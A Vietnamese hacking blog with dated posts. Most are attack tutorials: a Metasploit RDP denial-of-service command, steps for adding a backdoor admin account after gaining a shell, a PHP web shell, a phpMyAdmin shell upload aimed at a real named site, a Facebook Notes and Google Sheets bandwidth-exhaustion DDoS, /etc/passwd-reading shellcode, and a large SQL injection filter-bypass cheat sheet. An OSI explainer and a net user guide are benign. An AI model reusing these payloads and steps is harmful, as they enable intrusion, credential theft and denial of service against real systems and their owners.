25 thg 5, 2014
Mô hình 7 tầng OSI
Mô hình OSI mô tả phương thức truyền tin từ các chương trình ứng dụng của một hệ thống máy tính đến các chương trình ứng dụng của một hệ thống khác thông qua các phương tiện truyền thông vật lý. Thông tin từ một ứng dụng trên hệ thống máy tính A sẽ đi xuống các lớp thấp hơn, cuối cùng qua các thiết bị vật lý đến hệ thống máy tính B. Sau đó ở hệ thống B, thông tin sẽ đi từ lớp thấp nhất đến cao nhất - chính là ứng dụng của hệ thống máy tính B. Như vậy mỗi lớp trong hai hệ thống máy tính A, B đều truyền thông với nhau qua một giao thức (Protocol) nào đó.Mô hình OSI gồm có 7 lớp: Lớp ứng dụng, lớp biểu diễn dữ liệu, lớp kiểm soát nối, lớp vận chuyển, lớp mạng, lớp liên kết dữ liệu và lớp vật lý. Sau đây là mô tả các lớp trong mô hình OSI.
Lớp ứng dụng (Application layer)
Lớp ứng dụng trong mô hình OSI là tầng trên cùng trong bộ giao thức, có chức năng cung cấp các dịch vụ cao cấp (trên cơ sở các giao thức cao cấp) cho người sử dụng và các chương trình ứng dụng. Lớp này như là giao diện của người sử dụng và các ứng dụng để truy cập các dịch vụ mạng.
Lớp ứng dụng cung cấp các chức năng sau:
- Chia sẻ tài nguyên và các thiết bị.
- Truy cập file từ xa.
- Truy cập máy in từ xa.
- Hỗ trợ RPC.
- Quản lý mạng.
- Dịch vụ thư mục.
Lớp biểu diễn dữ liệu (Presentation layer)
Lớp trình diễn hoạt động như tầng dữ liệu trên mạng. lớp này trên máy tính truyền dữ liệu làm nhiệm vụ dịch dữ liệu được gửi từ tầng Application sang dạng Fomat chung. Và tại máy tính nhận, lớp này lại chuyển twf Fomat chung sang định dạng của tầng Application. Lớp thể hiện thực hiện các chức năng sau:
- Dịch các mã kí tự từ ASCII sang EBCDIC.
- Chuyển đổi dữ liệu, ví dụ từ số interger sang số dấu phảy động.
- Nén dữ liệu để giảm lượng dữ liệu truyền trên mạng.
- Mã hoá và giải mã dữ liệu để đảm bảo sự bảo mật trên mạng.
Lớp phiên (Session layer)
Lớp phiên thành lập một kết nối giữa các tiến trình đang chạy trên các máy tính khác nhau. Các chức năng của tầng phiên bao gồm:
- Cho phép tiến trình ứng dụng đăng kí một địa chỉ duy nhất như là NetBIOS name. Lớp này lưu các địa chỉ đó để chuyển sang địa chỉ của NIC từ địa chỉ của tiến trình.
- Thành lập, theo dõi, kết thúc Virtual circuit session giữa hai tiến trình dựa trên địa chỉ duy nhất của nó.
- Định danh thông báo, thêm các thông tin xác định bắt đầu và kết thúc thông báo.
- Đồng bộ dữ liệu và kiểm tra lỗi.
Lớp vận chuyển (Transport layer)
Ranh giới giữa lớp biểu diễn dữ liệu và lớp vận chuyển cũng có thể được xem là ranh giới giữa các giao thức thuộc lớp ứng dụng và các giao thức phía dưới. Trong khi các lớp ứng dụng, lớp biểu diễn dữ liệu và lớp phiên đều có liên quan đến ứng dụng thì 4 lớp ở phía dưới gắn với việc truyền dữ liệu.
Chức năng của lớp vận chuyển là cung cấp các dịch vụ cho việc thực hiện vận chuyển dữ liệu giữa các chương trình ứng dụng một cách tin cậy, bao gồm cả khắc phục lỗi và điều khiển lưu thông. Mục đích chính là đảm bảo dữ liệu được truyền đi không bị mất và bị trùng.
Các nhiệm vụ cụ thể của lớp vận chuyển là :
- Nhận các thông tin từ tầng trên và chia nhỏ thành các đoạn dữ liệu nếu cần.
- Cung cấp sự vận chuyển tin cậy (End to End) với các thông báo (Acknowledment).
- Chỉ dẫn cho máy tính không truyền dữ liệu khi buffer là không có sẵn.
Lớp mạng (Network layer)
Lớp mạng là một lớp phức tạp, cung cấp các dịch vụ về chọn đường đi và kết nối giữa hai hệ thống, điều khiển và phân phối dòng dữ liệu truyền trên mạng để tránh tắc nghẽn. Lớp mạng có trách nhiệm địa chỉ hoá, dịch từ địa chỉ logic sang địa chỉ vật lý, định tuyến dữ liệu từ nơi gửi tới nơi nhận. Nó xác định đường truyền nào tốt trên cơ sở các điều kiện của mạng, quyền ưu tiên dịch vụ. Nó cũng quản lý các vấn đề giao thông trên mạng như chuyển mạch, định tuyến và điều khiển sự tắc nghẽn của dữ liệu.
Lớp mạng liên quan đến việc truyền thông giữa các thiết bị trên các mạng tách biệt về logic, được liên kết để trở thành liên mạng. Do các liên mạng có thể rất lớn và có thể được kiến tạo từ các kiểu mạng khác nhau, nên lớp mạng vận dụng các thuật toán định tuyến để hướng các gói tin từ các mạng nguồn đến các mạng đích.
Thành phần chính của lớp mạng là mỗi mạng trong liên mạng được gán một địa chỉ, có thể dùng nó để định tuyến một gói tin. Nó đảm nhiệm các nhiệm vụ sau:
- Định địa chỉ
- Xây dựng các thuật toán định tuyến
- Cung cấp các dịch vụ kiên kết
Lớp liên kết dữ liệu (Data link layer)
Lớp này có nhiệm vụ truyền các khung dữ liệu từ máy tính này sang máy tính khác qua tầng vật lý, đảm bảo tin cậy, gửi các khối dữ liệu với các cơ chế đồng bộ hoá, kiểm soát lỗi và kiểm soát luồng dữ liệu. Cụ thể lớp dât link thực hiện các chức năng sau:
- Thành lập và kết thúc liên kết logic giữa hai máy tính.
- Đóng gói dữ liệu thô từ tầng vật lý thành các Frame.
- Điều khiển các frame dữ liệu: phân tích các tham số của frame dữ liệu, phát hiện lỗi và gửi lại dữ liệu nếu có lỗi.
- Quản lý quyền truy nhập cáp, xác định khi nào thì máy tính có quyền truy nhập cáp.
Lớp vật lý (Physical layer)
Lớp vật lý là lớp thấp nhất trong mô hình OSI, đảm nhiệm toàn bộ công việc truyền dẫn dữ liệu bằng phương tiện vật lý. Nó xác định các giao diện về mặt điện học và cơ học giữa một trạm thiết bị và môi trường truyền thông cụ thể như sau:
- Các chi tiết về cấu trúc mạng (bus, cây, hình sao,...)
- Chuẩn truyền dẫn (RS-485, IEC 1158-2, truyền cáp quang,...)
- Phương pháp mã hóa bit (NRZ, Manchester, FSK,...)
- Chế độ truyền tải
- Tốc độ truyền dữ liệu
- Giao diện cơ học ( phích cắm, giắc cắm,...)
Nguồn: lãng tử kids
Xem chi tiết »
19 thg 5, 2014
MS12-020 Microsoft Remote Desktop DoS Metasploit Demo
Affected version(s) :
Windows XP SP3Windows XP Professional x64 SP2
Windows Server 2003 SP2
Windows Server 2003 x64 SP2
Windows Vista SP2
Windows Vista x64 SP2
Windows Server 2008 32 SP2
Windows Server 2008 x64 SP2
Windows 7 for 32 and Windows 7 32 SP1
Windows 7 for x64 and Windows 7 for x64 SP1
Windows Server 2008 R2 x64 and Windows Server 2008 R2 x64 SP1
Commands :
- use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
- SET RHOST 192.168.178.22
- exploit
Nguồn : lãng tử kids
Xem chi tiết »
18 thg 5, 2014
Hướng dẫn tạo user và nâng quyền để remote desktop VPS
khi ta có shell rồi trước tiên là ta xem user trên vps:net userrồi tạo user:
net user kiz579 123456 /add* kiz579 là user
* 123456 là mật khẩu
rồi phải nâng quyền user đó lên mới remete desktop dc,ta dùng lệnh này:
net localgroup Administrators kiz579 /addok giờ ta xem trong group admin có tên kiz579 chưa:
net localgroup Administratorsquên nửa ở đây cổng mặc định là 3389,nhưng server nó đổi rồi sẽ hok login dc,ta dùng lệnh này:
netstat -nanó sẽ liệt kê tất cả port,tới đây ta mò :))
nhìn cái LISTENING nó ở đó giờ ta mò từng port , hok dc ta thử port khác cho đến khi ra thì thôi
nhớ điều này nửa mỗi khi nếu mún thoát ra khỏi vps thì chọn log off nha
shell cmd.php
(nội dung trong shell)
<pre><?php system($_GET[cmd]);?></pre>sử dụng:
http://domain.com/cmd.php?cmd=lệnh dos :)ví dụ liệt kê danh sách file và thư mục nằm ngang với file cmd.php
http://domain.com/cmd.php?cmd=dir* các bạn hok cần dùng nó cũng dc,miễn sao các bạn có shell trên server thì ngon :))
* nếu các bạn cần xem video thì liên hệ mình :))
Nguồn : lãng tử kids
Xem chi tiết »
17 thg 5, 2014
Quản lí users với Command Prompt
Nếu bạn lười tạo bằng giao diện GUI hay là bạn không thể truy cập bảng User Account…đây là giải pháp thứ hai thay thế.
Đầu tiên, bạn mở Command Prompt lên (Start > Run đánh lệnh cmd, hoặc muốn Command Prompt cổ lỗ sĩ thì đánh lệnh command). Ở đây mình chọn cmd.
Đầu tiên, để xem list users trong hệ thống, bạn đánh net users, mình nhận đc kết quả như thế này :
Sau đó, để thêm một users vào bạn đánh net users tên_user /add; Ờ đây mình ví dụ : net users kiz /add, như sau :
Sau đó bạn kiểm tra lại danh sách users :
Vậy là user kiz đã có trong danh sách users rồi đó.
Để xem danh sách các nhóm group(s) trong hệ thống, bạn đánh lệnh net localgroup Mình thu được kết quả như sau :
Từ danh sách các nhóm trên bạn có thể truy xuất users trong mỗi nhóm bằng net localgroup tên_nhóm, ví dụ mình type : net localgroup Users và đánh enter, thu được danh sách các user trong nhóm Users, cụ thể là User kiz đã tạo ở trên :
Nâng quyền User
Bạn có thể nâng quyền user lên bất kì cấp nào trong nhóm nào bạn muốn; để thực hiện điều này bạn theo cú pháp net localgroup nhóm_cần_vào tên_user /add
Ví dụ :
Check lại xem user kiz đã thực sự thêm vào nhóm Administrator chưa :
Thu được
Hạ quyền User
Bạn có thể drop quyền user nào đó bằng cách gỡ user đó ra khỏi nhóm chỉ định. Để xác định User đó thuộc nhóm nào, bạn type : net users tên_user và nhìn xuống dòng Local Group Memberships. Ở đây, ví dụ user kiz sẽ là :
Vậy là ta đã xác định user Huy nằm trong nhóm Administrators. Để drop quyền user này ta sẽ gỡ nó ra khỏi nhóm Administrators. Type lệnh sau để gỡ bỏ :
Xóa User
Để xóa một user, bạn type lệnh : net users tên_user /del
*Kinh nghiệm riêng : một số bạn sau khi xóa users trong Command Prompt xong, vào C:\Documents And Settings\ để xóa data của user đó sẽ không được. Lý do đó là file ntuser.dat của user đó đã chặn lại. Cách fix : restart lại PC, log vào tài khoản Administrators và thực hiện lại lần nữa.
*Khi tạo xong 1 user nào đó, restart máy lại ta sẽ log vào chính user đó. Ví dụ tạo account kiz, khi restart máy lại ta sẽ log vào account của kiz thay vì của Administrator.
Đầu tiên, bạn mở Command Prompt lên (Start > Run đánh lệnh cmd, hoặc muốn Command Prompt cổ lỗ sĩ thì đánh lệnh command). Ở đây mình chọn cmd.
Đầu tiên, để xem list users trong hệ thống, bạn đánh net users, mình nhận đc kết quả như thế này :
Trích:
| User accounts for \\SCIFI ------------------------------------------------------------------------------- Administrator Guest Help Assistant The command completed successfully. |
Trích:
| net users kiz /add The command completed successfully. |
Trích:
| User accounts for \\SCIFI ------------------------------------------------------------------------------- Administrator Guest Help Assistant kiz The command completed successfully. |
Để xem danh sách các nhóm group(s) trong hệ thống, bạn đánh lệnh net localgroup Mình thu được kết quả như sau :
Trích:
| Aliases for \\SCIFI ------------------------------------------------------------------------------- *Administrators *Backup Operators *Guests *Network Configuration Operators *Power Users *Remote Desktop Users *Replicator *Users The command completed successfully. |
Trích:
| Alias name Users Comment Users are prevented from making accidental or intentional system-wide changes. Thus, Users can run certified applications, but not most legacy applications Members ------------------------------------------------------------------------------- kiz NT AUTHORITY\Authenticated Users NT AUTHORITY\INTERACTIVE The command completed successfully. |
Bạn có thể nâng quyền user lên bất kì cấp nào trong nhóm nào bạn muốn; để thực hiện điều này bạn theo cú pháp net localgroup nhóm_cần_vào tên_user /add
Ví dụ :
Trích:
| net localgroup Administrators kiz /add The command completed successfully. |
Trích:
| net localgroup Administrators |
Trích:
| Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator kiz The command completed successfully. |
Bạn có thể drop quyền user nào đó bằng cách gỡ user đó ra khỏi nhóm chỉ định. Để xác định User đó thuộc nhóm nào, bạn type : net users tên_user và nhìn xuống dòng Local Group Memberships. Ở đây, ví dụ user kiz sẽ là :
Trích:
| *Administrators *Users |
Trích:
| net localgroup Administrators kiz /del The command completed successfully. |
Để xóa một user, bạn type lệnh : net users tên_user /del
Trích:
| net users kiz /del The command completed successfully. |
*Khi tạo xong 1 user nào đó, restart máy lại ta sẽ log vào chính user đó. Ví dụ tạo account kiz, khi restart máy lại ta sẽ log vào account của kiz thay vì của Administrator.
Nguồn : lãng tử kids
16 thg 5, 2014
How to Change User Password at Command Prompt Print
TÓM TẮT
Bài viết này mô tả cách sử dụng lệnh net user để thay đổi mật khẩu người dùng tại Windows command prompt. Chỉ có quyền quản trị mới có thể thay đổi mật khẩu.
CHI TIẾT
Để thay đổi mật khẩu của người sử dụng tại CMD, đăng nhập với quyền quản trị viên và gõ:
Ngoài ra, bạn có thể gõ lệnh sau:
*new_password là mật khẩu bạn mún thay đổi
Khi bạn làm như vậy, thay đổi mật khẩu mà không cần nhắc bạn một lần nữa. Lệnh này cũng cho phép bạn thay đổi mật khẩu trong một tập tin thực thi.
Xem chi tiết »
net user user_name * /domainKhi bạn được nhắc nhập một mật khẩu cho người sử dụng, gõ mật khẩu mới, không phải là mật khẩu hiện tại. Sau khi bạn gõ mật khẩu mới, hệ thống sẽ nhắc bạn nhập lại mật khẩu để xác nhận.
Ngoài ra, bạn có thể gõ lệnh sau:
net user user_name new_password*user_name là tên của bạn
*new_password là mật khẩu bạn mún thay đổi
Khi bạn làm như vậy, thay đổi mật khẩu mà không cần nhắc bạn một lần nữa. Lệnh này cũng cho phép bạn thay đổi mật khẩu trong một tập tin thực thi.
Nguồn by: lãng tử kids
Up Shell Via phpMyAdmin
Bước 1: Tìm Path của document rootThông thường vào link http://www.victim.com/xampp/ đê xem document root
Ví dụ: http://www.ehtpe.co.cu/xampp/ +
Vào Php infor() để xem path document root : C:/xampp/htdocs
Bước 2: Loggin và cơ sở dữ liệu: http://www.ehtpe.co.cu/phpmyadmin
Bước 3: Tạo Database mới
Ví dụ: VHB_Group. Sử dụng query:
CREATE DATABASE VHB_Group;
Bước 4: Tạo table mớ i
Trong database VHB_Group vừa tạo, tạo table mới, đặt tên là soleil,
sử dụng query sau:
CREATE TABLE soleil (contentshell varchar(10000) not null)
Bước 5: Chèn code shell
INSERT INTO soleil VALUES ('<?php
if ($HTTP_POST_VARS[\'submit\'])
{
if (!is_uploaded_file($HTTP_POST_FILES[\'file\'][\'tmp_name\']))
{
$error = "You did not upload a file!";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//A file was uploaded
$maxfilesize=300000;
if ($HTTP_POST_FILES[\'file\'][\'size\'] > $maxfilesize)
{
$error = "File is too large.";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//File has passed all validation, copy it to the final destination and remove the temporary file:
copy($HTTP_POST_FILES[\'file\'][\'tmp_name\'],$HTTP_POST_FILES[\'file\'][\'name\']);
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
print "File has been successfully uploaded!";
exit;
}
}
}
?>
<html>
<head></head>
<body>
<form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
<br><br>
Choose a file to upload:<br>
<input type="file" name="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>');
Bước 6: Export file php
Sử dụng querry: SELECT * INTO DUMPFILE 'path/upload.php' from table_name;
Path: là path của document root.
Ví dụ:
SELECT * INTO DUMPFILE 'C:/xampp/htdocs/upload.php' from soleil;
Bước 7: Chạy Shell
Run shell theo đường link: http://domain/upload.php
Ví dụ: http://www.ehtpe.co.cu/upload.php Xem chi tiết »
28 thg 4, 2014
Sử dụng Facebook Notes và Google SpreadSheet để chiếm băng thông website
Các cơ chế proxy preload của các Mạng XH ( vd: Facebook ) và các Cloud Application ( vd: Google Docs ) tiềm tàng một nguy cơ là có thể bị "mượn tay" để tấn công DDoS hoặc tấn công chiếm băng thông
Qua thử nghiệm các Vul này trên Facebook thì trong 2 phút, nó nuốt trôi hơn 8GB băng thông
Nếu kết hợp cùng lúc nhiều account, nhiều dịch vụ cloud khác nhau ( có hỗ trợ proxy preload ) thì khả năng nạn nhân bị DoS và bị disable dịch vụ hosting vì hết băng thông rất cao
Nguy hiểm cái là các bug này đều được báo cáo rồi nhưng cả mấy thằng to như Facebook, Google đều bảo là "đây là tính năng ếu phải bug" nên không sửa ( chắc cũng hơn 1 năm rồi )
Cách thực hiện thử nghiệm:
Cần có:
Mua một VPS làm nạn nhân thử nghiệm
VPS cài iftop hoặc bất kỳ công cụ nào để xem băng thông bị chiếm dụng
Upload một file bất kỳ có kích thước > 10MB lên VPS. vd: test.pdf . Ghi lại URL tới file này ( vd: http://langtukids.com/test.pdf )
Thực hiện tấn công với Facebook Notes:
Tạo một account Facebook bất kỳ, tạo Facebook Note với nội dung, chứa khoảng 1000 dòng như sau :
<img src='http://langtukids.com/ddos.pdf?r=1'/>
<img src='http://langtukids.com/ddos.pdf?r=2'/>
<img src='http://langtukids.com/ddos.pdf?r=3'/>
<img src='http://langtukids.com/ddos.pdf?r=4'/>
<img src='http://langtukids.com/ddos.pdf?r=5'/>
Chú ý sẽ thấy sau mỗi url sẽ có thêm một biến số bất kỳ với giá trị tăng dần, đây là chỗ làm tăng tốc và mức độ nguy hại của phương thức DoS này.
Mỗi dòng khi load lên sẽ gửi một request tới nạn nhân, 1000 dòng tương đường với 1000 request download file PDF 10MB như trên, tương đương 10GB băng thông bị ngốn.
Thực hiện tấn công với Google Docs:
Tạo một file Google Docs Spreadsheet với 1000 dòng nội dung, mỗi dòng có nội dung tương tự như sau:
=IMAGE(http://langtukids.com/ddos.pdf?r=1)
=IMAGE(http://langtukids.com/ddos.pdf?r=2)
=IMAGE(http://langtukids.com/ddos.pdf?r=3)
=IMAGE(http://langtukids.com/ddos.pdf?r=4)
=IMAGE(http://langtukids.com/ddos.pdf?r=5)
Cách thức tăng mức độ nguy hại của kiểu tấn công này:
- Phối hợp giữa Facebook Notes DDoS và Google Spreadsheet DDoS
- Refresh liên tục các trang notes và các trang spreadsheet
- Dùng nhiều account để mở nhiều trang notes và các trang spreadsheet
- Dùng nhiều máy tính + nhiều account để mở nhiều trang notes và các trang spreadsheet
Với cách thức DDoS này thì băng thông tối đa có thể DDoS được lên đến 800Mbps. Và lưu lượng băng thông bị ngốn là rất lớn. Nếu gặp các dịch vụ hosting có giới hạng băng thông tối đa hàng tháng thì nạn nhân nhanh chóng bị ISP ngưng dịch vụ vì hết bandwidth limit của tháng.
Nguồn : sưu tầm bởi Lãng Tử Kids.
26 thg 4, 2014
Local (it can bypass chmod 400)
http://shell-storm.org/shellcode/files/shellcode-73.phpChúng ta dùng shell code
/*
Linux/x86 file reader.
65 bytes + pathname
Author: certaindeath
Source code:
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
jmp two
one:
pop %ebx
movb $5, %al
xor %ecx, %ecx
int $0x80
mov %eax, %esi
jmp read
exit:
movb $1, %al
xor %ebx, %ebx
int $0x80
read:
mov %esi, %ebx
movb $3, %al
sub $1, %esp
lea (%esp), %ecx
movb $1, %dl
int $0x80
xor %ebx, %ebx
cmp %eax, %ebx
je exit
movb $4, %al
movb $1, %bl
movb $1, %dl
int $0x80
add $1, %esp
jmp read
two:
call one
.string "file_name"
*/
char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/etc/passwd"; //Put here the file path, default is /etc/passwd
Shellcode này giúp chúng ta view đc file bất kì khi sử dụng và thay đổi path /etc/passwd thành path cần view thôi.
Cách thực hiện.
Save dưới dạng file exploit.c
Sau đó compile lại bằng lệnh
gcc -o exploit exploit.c
Trông như get root vậy
Sau đó sẽ xuất hiện file exploit
Nâng file đấy lên thành 777.Dùng lệnh
Chmod +x exploit
Và cuối cùng là
./exploit
Kết quả là ta đọc đc file /etc/passwd
Rất giống getroot phải ko
Cách thực hiện rất dễ.
GCC.ZIP
Nhiều server cấm lệnh gcc thì bạn có thể dùng file gcc ở 1 server linux nào đó.Máy ảo chẳng hạn.Up lên rồi chmod 777 rồi ./gcc để thực hiện lệnh....
Ngoài ra các bạn có thể làm tắt server bằng file exploit sau đây.
http://shell-storm.org/shellcode/files/shellcode-68.php Xem chi tiết »
25 thg 4, 2014
Tổng hợp vài câu lệnh check sqli
+++Bypass login ADMIN :Username:user ' or 1=1# /admin' or '1'='1/ 1'or'1'='1
Password:pass ' or 1=1# /1'or'1'='1
++Tìm mã Hex Table
Encode Mã Hex Table~~~>http://www.convertstring.com/
Encode ~~~>Encode http://www.base64encode.org/
Decode ~~~>Decode http://www.base64decode.org/
++My Sql Injection:http://pentestmonkey.net/
++Tổng hợp Sqli:http://sla.ckers.org/forum/
++Tổng hợp Tut Sql các loại :http://khotien.com/diendan/
++Tut SQLI dạng ASPX:http://root.vn/threads/
++Tut SQLI các dạng :http://tutsql.blogspot.com/
++Các dạng Bypass :http://hack2play.blogspot.com/
++Tut SQLI dễ đến khó :http://nh0ksad.blogspot.com/
++Tut hack SQL căn bản
http://sinhvienit.net/forum/
++Khai thác Sql Bypass :
http://
++Khai thác Sql Bypass Filter + 403 Forbidden
http://
++Tut EROBASE/DOUBLE:https://top-hat-sec.com/forum/
++Các kĩ thuật Local Attack:http://ceh.vn/@4rum/
++TUT Microsoft OLE DB :http://root.vn/threads/
------------------------------
**************Dạng Java :
***id=-123 UNION SELECT 1,2,concat((0x3c73637269707420
***id=-123'+/
------------------------------
***Dạng Basic "and=0":
**Order lỗi : id=123 and=0 UNION SELECT 1,2-- -
Get table,column,data như bt thêm "and=0" sau id.
------------------------------
Check order :+/*!12345PROCEDURE*/
------------------------------
************Dạng Lồng + Bypass bt:
***Order: id=-1' uniounion SELECT 1,2,3-- -
***Get table: id=-1' uniounion SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
***Get column:id=-1' uniounion SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=0x...-- -
***Get Data: id=-1' uniounion SELECT 1,group_concat(tên cột,0x207c20,tên cột,0x207c20),3 from tên table -- -
------------------------------
***********Dạng /*!Union*/ /*!Select*/ :
**Tìm Order lỗi :link victim+null(-null,-id) /*!Union*/ /*!Select*/ 1,2,3...-- -
**Get database :link victim+ /*!Union*/ /*!Select*/ 1,2,3,group_concat(/
**Get Colum:link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/
**Get data :link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!tên cột,0x7c,tên cột,0x7c,tên cột,0x7c*/) from tên table-- -
------------------------------
**********Bypass nâng cao dạng /*!Union*/ /*!Select*/ loại ẩn:
***Order lỗi : id=-... /*!Union*/ /*!Select*/ 1,2,3...-- -
***Get database :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/
***Get table :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/
***Get column:id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/
***Get data :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/
------------------------------
***************Dạng Bypass "=" chặn + ẩn :
***Order lỗi :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4-- -
***Get database:id=-..../
***Get column:id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/
***Get Data :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/
------------------------------
------------------------------
********************Dạng Bypass 403 limit ***(Khó)
+++Order lỗi :id=-1'+/*!50000union+select*/
+++Get table:id=-1'+/
+++Get column:id=-1'+/
+++Get data :id=-1'+/*!50000union+select*/
------------------------------
------------------------------
***Tìm order lỗi :id=-1+/*!50000union+select*/
***Get table:id=-1+/
***Get column:id=-1+/
***Get data:id=-1+/
------------------------------
-----------------------Dạng Bypass 403 (/*!00000UNION+SELECT*/)
***Order lỗi :id=-1'+/*!00000UNION+SELECT*/
***Get Table :id=-1'+/*!00000UNION+SELECT*/
***Get Column:id=-1'+/
***Get Data:id=-1'+/
------------------------------
*****************Dạng chặn () ~~~>cực kì khó.
***Order lỗi :UNION SELECT 1,2,3,4,5,6,7-- - (@@version)
***Get table:UNION SELECT 1,table_schema,3,4,5,6,7 from information_schema.tables where table_schema<>'information_sch
***Get column :UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema='tên table' and table_name=0x... LIMIT 0,1-- - (Tăng limit)
***Get Data :UNION SELECT 1,tên column,tên column,3,4,5,6,7 from tên table-- -
------------------------------
***********************Bypass %0AUNION%0ASELECT :
***Order lỗi :id=-1'+%0AUNION%0ASELECT+1,2-
***Table:id=-1'+%0AUNION%0ASEL
***Column:id=-1'+%0AUNION%0ASE
***Info Columns:id=-1'+%0AUNION%0ASELE
------------------------------
****************Dạng Lỗi String-500 ( Khai thác DB MSSQL-Giong ASPX)
***Order lỗi :id=-1' '1','2','3'-- -
***Get table:id=-1' '1',(select top 1 table_name from information_Schema.tables),'3'
***Get Column:id=-1' '1',(select top 1 column_name from information_schema.columns where table_name=('tên tbl'))),'3'-- - **Get column tiếp:(select top 1 column_name from information_Schema.columns where table_name='tên tbl' and column_name not in ('tên column1'))
***Get Data:id=-1' '1',select top 1 tên column%2b'|'%2b tên column from tên table),'3'-- -
------------------------------
****************Dạng kết hợp Bypass 403 và 406 :
***Order lỗi : id=-1+/*!20000%0d%0aunion*/+/
*****************Dạng Get data ẩn :
***group_concat(unhex(hex(tên cột)),0x7c,unhex(hex(tên cột)),0x7c,unhex(hex(tên cột)))+from+tên table-- -
------------------------------
****Bypass Filter khó (1 order or nhiều order )
***Get table :id=-1 Union Select group_concat(table_name) FrOm infOrMation_schema.tables
***Get Column :id=-1 Union Select group_concat(column_name) FrOm infOrMation_schema.tables where table_name=0x...-- -
Get Data:id=-1 Union Select group_concat(tên cột,0x7c,tên cột,0x7c) FrOm tên table-- -
*************Basic Get từng table :
***id=-1 UNION SELECT 1,table_name,3 from information_schema.tables limit 0,1-- - (Tăng limit để Get table tiếp theo )
------------------------------
*******************Dạng id=-1 order by ....-- - không tìm được Order lỗi thì Biến đổi thành id=1' order by ...-- - rồi khai thác Bt.
~~~>K Get dk table thì id=-1' .... rồi khai thác BT.
***************Dạng Table ẩn (UnIoN SeLeCT):
**Order lỗi : id=-... UNION SELECT 1,2,3,...-- -
**Get Database :id=-... UNION SELECT 1,2,database(),4,...-- - (Thay database() vào order lỗi ).
**Get Table :id=-... UNION SELECT 1,2,unhex(hex(group_concat(tab
**Get column :id=-... UNION SELECT 1,2,unhex(hex(group_concat(col
**Get data :id=-... UNION SELECT 1,2,unhex(hex(group_concat(tên
------------------------------
------------------------------
Truy vấn table có chữ cái đầu và chữ cái cuối hay chuỗi kí tự Cho Erro base+Xpath:
======> and extractvalue(rand(),concat(0x7
======>and extractvalue(rand(),concat(0x7
======>and extractvalue(rand(),concat(0x7
------------------------------
********************Dạng bypass erro base :
1./
2./*!And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/ ~~~> Tăng limit để get thêm table.
3./*!And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x... limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/
4./*!And(Select 1 From(Select Count(*),Concat((select concat(0x7c,tên côt,0x7c,tên cột) from tên table limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/
------------------------------
****************XPath Injection(erro base) :
1.and extractvalue(rand(),concat(0x7
2.and extractvalue(rand(),concat(0x7
3.and extractvalue(rand(),concat(0x7
4.and extractvalue(rand(),concat(0x7
------------------------------
***Dạng Bypass Xpath( Khó )
1.' and extractvalue(rand(),concat/
2.' and extractvalue(rand(),concat/
3.'and extractvalue(rand(),concat/
4.'and extractvalue(rand(),concat/
------------------------------
*****************XPath Injection(erro base Cao Cấp )
1.or 1 group by concat(0x2f,version(),0x2f,dat
2.and updatexml(0,concat(0x7c,(selec
3.and updatexml(0,concat(0x7c,(selec
4.and updatexml(0,concat(0x7c,(selec
------------------------------
++Khai thác SQL = Erro Base các loại:
http://ku96.blogspot.com/2012/
http://
++Khai thác SQL Blind :
http://ceh.vn/@4rum/
++less /etc/passwd
less =cat =more.
Bộ shell : http://www.mediafire.com/
Tìm link adm site
http://root.vn/threads/
++++++++++++++++++Tut LOCAL ATTACK:
http://www.mediafire.com/
-------------------------BUG JOOMLA 1.5(COM_USER)
+++Công cụ :fire bug.
+++Path:domains/
+++Link:http://www.youtube.com/
+++Edit :<input name="jform[groups][]" value="7" />
--------------------------LOCA
+++++Tài liệu hướng dẫn Local Attack :http://ceh.vn/@4rum/
+++Tut GetRoot cơ bản :http://tutlocal.blogspot.com/
+++Lệnh view user đối vs Direc admin :
*cd /etc~~~>cat passwd
*less /etc/virtual/domainowners
+++View chuẩn xác user vs dùng Cpanel:
ls -la /etc/valiases/domain.com
+++View chmod :ls -la /path
+++Lệnh view config sever Joomla :
*less /user/domains/victim.com/
+++Cú Pháp SSI SHELL :
Ip/~user/path (Sau public_html)
++Cmd coppy Shell:
cp path shell /home/user victim/public_html/1.php
--------------Pass MD5+SALT:
+++"1ead0efb9e47a371c301afbea8
+++WP :$P$B7u/NYhVtuYh/
+++VBB :MD5:bfffa5fdecdaff2ba90ce8023
